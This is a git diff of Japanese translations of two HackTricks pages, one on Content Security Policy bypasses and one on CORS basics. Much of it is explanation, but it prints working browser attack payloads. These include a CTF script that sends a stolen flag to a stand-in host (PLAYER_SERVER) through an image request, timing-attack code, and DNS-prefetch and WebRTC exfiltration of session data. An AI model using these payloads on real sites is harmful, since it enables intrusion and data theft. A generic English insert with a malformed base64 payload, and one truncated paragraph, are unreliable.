ただし、[CSP仕様4.2.2.3. パスとリダイレクト](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。 ただし、[CSP仕様4.2.2.3. パスとリダイレクト](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。
以下に例を示します: 以下は例です:
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -449,7 +465,7 @@ CSPがサーバーサイドのリダイレクトに遭遇した場合、どう
``` ```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`と`/a/test`の両方のスクリプトがCSPによってブロックされます。 CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`と`/a/test`の両方のスクリプトがCSPによってブロックされます。
ただし、最終的`http://localhost:5555/301`は**サーバーサイドで`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。これはリダイレクトであるため、**パスは考慮されず****スクリプトがロードされる**ため、パス制限をバイパスできます。 ただし、最終的`http://localhost:5555/301`は**サーバーサイドで`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。これはリダイレクトなので、**パスは考慮されず、スクリプトがロードされる**ため、パス制限をバイパスできます。
このリダイレクトにより、パスが完全に指定されていてもバイパスされます。 このリダイレクトにより、パスが完全に指定されていてもバイパスされます。
@ -465,17 +481,17 @@ default-src 'self' 'unsafe-inline'; img-src *;
``` ```
`'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、`img-src *` は、任意のリソースからの画像をウェブページで使用できることを意味します。 `'unsafe-inline'` は、コード内で任意のスクリプトを実行できることを意味しXSS がコードを実行できる)、`img-src *` は、任意のリソースからの画像をウェブページで使用できることを意味します。
この CSP は、画像を介してデータを外部に流出させることでバイパスできますこの場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します): この CSP は、画像を介してデータを外部に流出させることで回避できますこの場合、XSS が CSRF を悪用し、ボットがアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します):
```javascript ```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script> <script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
``` ```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用してJSコード通常のXSSとしてを**実行**し、**画像を読み込み**、そこから**JS**を**抽出**して**実行**します:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) この構成を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、**特別な画像**を作成し、Twitterにアップロードして、"**unsafe-inline**"を悪用して通常のXSSとしてJSコードを**実行**し、**画像を読み込み**、そこからJSを**抽出**して**実行**することができます: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workersを使用する ### Service Workersを使用する
Service Workersの**`importScripts`**関数はCSPに制限されません Service Workersの**`importScripts`**関数はCSPに制限されません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} {% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md) [abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
@ -487,7 +503,7 @@ Service Workersの**`importScripts`**関数はCSPに制限されません
#### Chrome #### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言**の**に貼り付けられている**場合、**ポリシー**を**無効にする**方法で**ポリシー**を**変更**できます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を許可できます: あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシー**を何らかの方法で**無効にする**ように変更できます。これらのバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を**許可**することができます:
```bash ```bash
script-src-elem *; script-src-attr * script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -503,9 +519,9 @@ Edgeでは、CSPにこれだけ追加できれば**`;_`**、**Edge**は**ポリ
### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック ### img-src \*; XSS経由での攻撃 (iframe) - タイムアタック
ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\ ディレクティブ`'unsafe-inline'`が欠けていることに注意してください。\
今回は、被害者に**XSS**を介して**あなたの制御下のページ**を**読み込ませる**ことができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページが読み込むのに必要な時間を**制御**できれば、必要な情報を抽出できます。 今回は、被害者に**XSS**を介して**あなたの制御下のページ**を**読み込ませる**ことができます。この時、被害者に情報を取得したいページにアクセスさせます(**CSRF**)。ページの内容にアクセスすることはできませんが、ページが読み込むのに必要な時間を**制御**できれば、必要な情報を抽出できます。
今回は、**フラグ**が抽出されます。**charが正しく推測されるたびに**、**SQLi**による**応答**が**sleep関数**により時間がかかります。その後、フラグを抽出できます: 今回は、**フラグ**が抽出されます。**charが正しく推測されるたびに**、**SQLi**による**応答**が**sleep関数**により**時間がかかる**ため、フラグを抽出できます。
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload <iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -565,15 +581,15 @@ console.log(prefix);
run(); run();
</script> </script>
``` ```
### ブックマークレットを介した攻撃 ### ブックマークレット経由
この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。 この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの**機密情報を盗み出す**ことができます。
詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 詳細は[**こちらのオリジナルレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### CSP制限によるCSPバイパス ### CSP制限によるCSPバイパス
[**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、CSPがバイパスされ、許可されたiframe内により制限の厳しいCSPが注入され、特定のJSファイルの読み込みを禁止し、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。 [**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して**任意のスクリプトを読み込む**ことが可能になりました。
**IframeのCSPを制限**するには、**`csp`**属性を使用できます: **IframeのCSPを制限**するには、**`csp`**属性を使用できます:
@ -584,7 +600,7 @@ run();
{% endcode %} {% endcode %}
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\ [**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\
CSPは**HTMLメタタグ**を使用してより制限的にすることができ、インラインスクリプトは**削除**され、**それらのnonceを許可するエントリが無効**になり、**特定のインラインスクリプトをsha経由で有効に**できます。 CSPは**HTMLメタタグ**を使用してより制限的にすることができ、インラインスクリプトは**エントリを削除**することで無効化でき、その結果、**nonce**を許可し、**shaを使用して特定のインラインスクリプトを有効にできます。**
```html ```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self' <meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic' 'unsafe-eval' 'strict-dynamic'
@ -593,7 +609,7 @@ CSPは**HTMLメタタグ**を使用してより制限的にすることができ
``` ```
### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出 ### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出
サーバーが、あなたが制御する値たとえばCRLFのためを持つヘッダー**`Content-Security-Policy-Report-Only`**で応答するようにできれば、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**`<script>`**CSP`unsafe-inline`CSP`Content-Security-Policy-Report-Only` サーバーが、あなたが制御する値たとえばCRLFのためを持つヘッダー**`Content-Security-Policy-Report-Only`**で応答するようにできれば、それをあなたのサーバーを指すようにさせることができます。そして、欲しい**JSコンテンツ**を**`<script>`**`unsafe-inline`CSPCSP`Content-Security-Policy-Report-Only`
例として、[**このCTF解説**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)を参照してください。 例として、[**このCTF解説**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)を参照してください。
@ -603,13 +619,13 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
``` ```
### CSPとIframeを使用した情報漏洩 ### CSPとIframeを使用した情報漏洩
* `iframe`が作成され、CSPに許可されているURLここでは`https://example.redirect.com`と呼びます)を指すようにします。 * `iframe`が作成され、CSPに許可されているURL`https://example.redirect.com`と呼びましょう)を指すようにします。
* このURLはその後、CSPに許可されていない秘密のURL`https://usersecret.example2.com`)にリダイレクトします。 * このURLはその後、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします。
* `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティをキャプチャできます。このプロパティはブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。 * `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティをキャプチャできます。このプロパティはブロックされたURIのドメインを明らかにし、初期のURLがリダイレクトされた秘密のドメインを漏洩させます。
興味深いのは、ChromeやFirefoxなどのブラウザがCSPに関してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動によ機密情報が漏洩する可能性がある点です。 興味深いのは、ChromeやFirefoxなどのブラウザがCSPに関してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動によって機密情報が漏洩する可能性がある点です。
別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、二分探索アルゴリズムに依存し、CSPを調整して特定のドメインを含めることで、意図的にブロックされた特定のドメインをテストします。たとえば、秘密のサブドメインが不明な文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整し、異なるサブドメインを反復的にテストできます。以下は、この方法を実行するためにCSPを設定する方法を示すスニペットです 別の技術は、CSP自体を悪用して秘密のサブドメインを推測することです。この方法は二分探索アルゴリズムに依存し、CSPを調整して特定のドメインを含めることで、意図的にブロックされた特定のドメインをテストします。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整し、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです
```markdown ```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
@ -626,20 +642,20 @@ CSPによってブロックまたは許可されるリクエストを監視す
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく
**最新のアナウンスメント**\ **最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握 最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**で私たちに参加し、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーと協力を始めましょう!**
## CSPをバイパスするための安全でないテクロジー ## CSPをバイパスするための安全でないテクロジー
### PHPレスポンスバッファの過負荷 ### PHPレスポンスバッファの過負荷
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。そのため、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**CSPヘッダー**の**前に** **レスポンス**が**送信**され、ヘッダーが無視されるようになります。\ PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。そのため、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダー**の**前に送信**され、ヘッダーが無視されるようになります。\
その後、この技術は基本的に、**警告でレスポンスバッファを埋める**ことで、CSPヘッダーが送信されないようにするというものです。 その後、このテクニックは基本的に、**警告でレスポンスバッファを埋める**ことで、CSPヘッダーが送信されないようにするというものです。
[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。 [**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
@ -660,9 +676,9 @@ SOMEは、**ページのエンドポイント**でのXSSまたは非常に制
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %} {% endcontent-ref %}
さらに、**WordPress**には、`/wp-json/wp/v2/users/1?_jsonp=data`にある**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限付き)。 さらに、**WordPress**には、`/wp-json/wp/v2/users/1?_jsonp=data`にJSONPエンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限付き)。
攻撃者は、そのエンドポイントを悪用してWordPressに対する**SOME攻撃**を行い、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**読み込まれる**でしょう。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりするために**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。\ 攻撃者は、そのエンドポイントを悪用してWordPressに対する**SOME攻撃**を生成し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に埋め込むことができます。この**スクリプト**は**'self'で許可されている**ため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は、**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりするために**脆弱な** **コールバック**エンドポイントを介して**SOME攻撃**を悪用する可能性があります。\
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
## CSP Exfiltration Bypasses ## CSP Exfiltration Bypasses
@ -697,26 +713,38 @@ body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessi
### Bypassing CSP using `unsafe-inline` ### Bypassing CSP using `unsafe-inline`
If a website allows `unsafe-inline` in its CSP policy, an attacker can execute arbitrary inline scripts by injecting them into HTML attributes such as `onmouseover`, `onclick`, etc. One common way to bypass CSP is by using the `unsafe-inline` keyword in the `script-src` directive. This allows the execution of inline scripts, which are otherwise blocked by CSP.
### Bypassing CSP using data: URI To bypass CSP using `unsafe-inline`, you can inject your malicious script directly into the HTML code of the webpage. For example:
By using the `data:` URI scheme, an attacker can embed external resources inline, bypassing CSP restrictions. ```html
<script>alert('CSP bypassed!')</script>
```
### Bypassing CSP using JSONP By including the script directly in the HTML, you can execute arbitrary code despite the CSP restrictions.
If a website allows JSONP endpoints, an attacker can bypass CSP by exploiting JSONP endpoints to execute arbitrary scripts. ### Bypassing CSP using data: URIs
### Bypassing CSP using XSS Another method to bypass CSP is by using `data:` URIs. This technique involves converting the malicious script into a Base64-encoded string and embedding it within a `data:` URI.
Cross-Site Scripting (XSS) vulnerabilities can be used to bypass CSP by injecting malicious scripts into a website, allowing the execution of arbitrary code. For example, the following payload demonstrates how to bypass CSP using a `data:` URI:
```html
<script src="data:text/javascript;base64,YWxlcnQoJ0NTUCBieXBvc2VkISInKTs="></script>
```
In this payload, the script is encoded in Base64 and included in the `src` attribute of the `script` tag. When the browser loads the script, it executes the malicious code, bypassing CSP restrictions.
### Summary
Bypassing CSP can be achieved using techniques such as `unsafe-inline` and `data:` URIs. These methods allow an attacker to execute arbitrary scripts on a webpage despite the CSP protections in place. It is important for web developers to carefully configure their CSP policies to prevent such bypasses and enhance the security of their web applications.
```javascript ```javascript
const linkEl = document.createElement('link'); const linkEl = document.createElement('link');
linkEl.rel = 'prefetch'; linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData; linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl); document.head.appendChild(linkEl);
``` ```
この問題を回避するために、サーバーは次のHTTPヘッダーを送信できます: 以下のようにして、これが発生しないようにサーバーはHTTPヘッダーを送信できます
``` ```
X-DNS-Prefetch-Control: off X-DNS-Prefetch-Control: off
``` ```
@ -744,12 +772,12 @@ var pc = new RTCPeerConnection({
}); });
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
``` ```
## オンラインでCSPポリシーをチェックする ## CSPポリシーのオンラインチェック
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSPを自動的に作成する ## CSPの自動生成
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -772,13 +800,13 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう! [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力ましょう!
<details> <details>
@ -788,8 +816,8 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -8,17 +8,17 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
## CORSとは ## CORSとは
Cross-Origin Resource SharingCORS標準は、**サーバーがアセットにアクセスできるユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。 Cross-Origin Resource SharingCORS標準は、**サーバーがアクセスできるユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義することを可能にします。
**同一オリジン**ポリシーは、リソースをリクエストするサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有する必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。 **同一オリジン**ポリシーは、リソースをリクエストするサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有することを義務付けます。このポリシーでは、同じドメインとポートのWebページのみがリソースにアクセスできます。
`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります: `http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります:
@ -35,13 +35,13 @@ Cross-Origin Resource SharingCORS標準は、**サーバーがアセット
### `Access-Control-Allow-Origin`ヘッダー ### `Access-Control-Allow-Origin`ヘッダー
このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用には**制限**があります(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。 このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用には**制限**があります(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーから発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。 このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
### `Access-Control-Allow-Credentials`ヘッダー ### `Access-Control-Allow-Credentials`ヘッダー
**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することで、資格情報が送信された場合に応答の読み取りを許可できます。 **デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することで、資格情報が送信された場合に応答の読み取りを許可できます。
`true`に設定されている場合、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。 `true`に設定されている場合、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。
```javascript ```javascript
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler; xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>'); xhr.send('<person><name>Arun</name></person>');
``` ```
### CSRF プリフライトリクエスト ### CSRF Pre-flight request
### クロスドメイン通信におけるプリフライトリクエストの理解 ### クロスドメイン通信におけるプリフライトリクエストの理解
特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**HEAD、GET、POST以外)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーに将来のクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。 特定の条件下でクロスドメインリクエストを開始する際、**標準ではないHTTPメソッド**HEAD、GET、POST以外のもの)、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) で提供されている包括的なガイドを参照してください。 **Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件について詳しく知りたい場合は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) で提供されている包括的なガイドを参照してください。
重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。 重要な点として、**プリフライトリクエストがなくても、レスポンスに認証ヘッダーを含める必要がある**ことに留意する必要があります。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。
以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を考えてみましょう 以下は、`PUT`メソッドとカスタムヘッダー`Special-Request-Header`を使用するプリフライトリクエストの例を示しています
``` ```
OPTIONS /info HTTP/1.1 OPTIONS /info HTTP/1.1
